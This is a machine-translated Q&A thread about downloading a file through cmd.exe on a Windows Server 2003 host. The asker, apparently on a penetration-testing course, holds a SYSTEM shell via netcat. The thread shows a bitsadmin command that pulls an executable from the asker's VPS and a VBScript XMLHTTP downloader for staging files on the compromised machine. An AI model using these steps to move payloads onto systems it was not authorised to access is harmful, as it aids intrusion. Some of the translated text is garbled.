Как скачать файл с помощью CMD.exe

1686
Entropy

Я пытаюсь загрузить исполняемый файл на Windows Server 2003 в рамках курса Penetration Testing, который я сейчас делаю, и у меня, похоже, не получается ... Powershell не включен, а битсадмин просто "зависает".

C:\dlhere>bitsadmin /transfer ez http://vps/executable.exe C:\dlhere\test.exe bitsadmin /transfer ez http://vps/executable.exe C:\dlhere\test.exe  BITSADMIN version 2.0 [ 6.6.3790.1830 ] BITS administration utility. (C) Copyright 2000-2004 Microsoft Corp. 

Я сейчас не в курсе ...

Я только что получил доступ из командной строки с помощью «NT Author \ Systemd».

0
Ваши заметки о курсе должны быть более полезными, чем мы. ivan_pozdeev 7 лет назад 1
`procmon` и / или сниффер могут пролить свет на то, что происходит с FS и сетью. Они требуют прав администратора, конечно. ivan_pozdeev 7 лет назад 0
Ну, это не конечно - больше похоже на вызов ... у нас нет документов, кроме как подключиться к локальной сети, Entropy 7 лет назад 0
Несколько решений здесь должны работать: [Можно ли загрузить с помощью командной строки Windows?] (Http://superuser.com/questions/59465/is-it-possible-to-download-using-the-windows -command-line) Также, если у вас есть доступ на системном уровне, вы можете снова включить PowerShell. Ben N 7 лет назад 3
Ну, я просто попытался как-то включить его, но заметил, что его даже нет ... он полностью исчез. Entropy 7 лет назад 0
Windows Server 2005 а? :) Ƭᴇcʜιᴇ007 7 лет назад 1
Если это Сервер _2003_, Powershell действительно является необязательным компонентом. ivan_pozdeev 7 лет назад 0

1 ответ на вопрос

0
ivan_pozdeev

Согласно BITSAdmin Tool - MSDN ( /Transferраздел переключателя):

BITSAdmin обновляет командное окно информацией о ходе выполнения до тех пор, пока передача не будет завершена или пока не произойдет критическая ошибка. BITSAdmin завершает работу, если успешно передает все файлы, и отменяет работу, если возникает критическая ошибка. BITSAdmin не создает задание, если не может добавить файлы в задание или если вы указали недопустимое значение для type или job_priority. Обратите внимание, что BITSAdmin продолжает работать, если происходит временная ошибка. Чтобы завершить BITSAdmin, нажмите Ctrl + C.

Поскольку BITS предназначен для передачи в фоновом режиме, это может занять неопределенное время, если сеть занята - и особенно, если служба BITS не запущена (я не проверял, запускает ли команда ее).

  • Кроме того, вы можете загрузить с помощью .NET функциональности в соответствии с Как скачать файлы из командной строки в Windows, как это делает Wget? даже с отключенной PowerShell, потому csc.exeчто компилятор C # поставляется вместе с .NET.

  • Это также можно сделать с cscriptпомощью использования COMH-объекта XMLHTTP в соответствии с использованием Windows Script Host и COM для взлома Windows (файл сценария может быть записан с помощью copy con):

    dim XmlHttp, URL, FileName, OutputStream URL = <URL> FileName = <FILENAME> set XmlHttp = WScript.CreateObject("MSXML2.XMLHTTP") set OutputStream = WScript.CreateObject("ADODB.Stream") XmlHttp.Open "GET", URL, false XmlHttp.Send OutputStream.Type = 1 'BINARY_STREAM_TYPE OutputStream.Open OutputStream.Write XmlHttp.responseBody OutputStream.SaveToFile FileName, 2 'CREATE_OVERWRITE_SAVE_MODE OutputStream.Close 
  • другие сетевые утилиты, способные передавать файлы - например, telnetи ftp- тоже могут. Тем не менее, они, как правило, не включены по умолчанию с Vista.

Работает FTP, но я не могу ничего сделать ... У меня есть оболочка netcat. Entropy 7 лет назад 0
Что ж, вам нужно знать консольные команды FTP, а брандмауэры (вплоть до вашего внешнего сервера) должны разрешать FTP-трафик. Вероятно, потребуется и пассивный режим (который по умолчанию не является консольной программой). ivan_pozdeev 7 лет назад 0

Похожие вопросы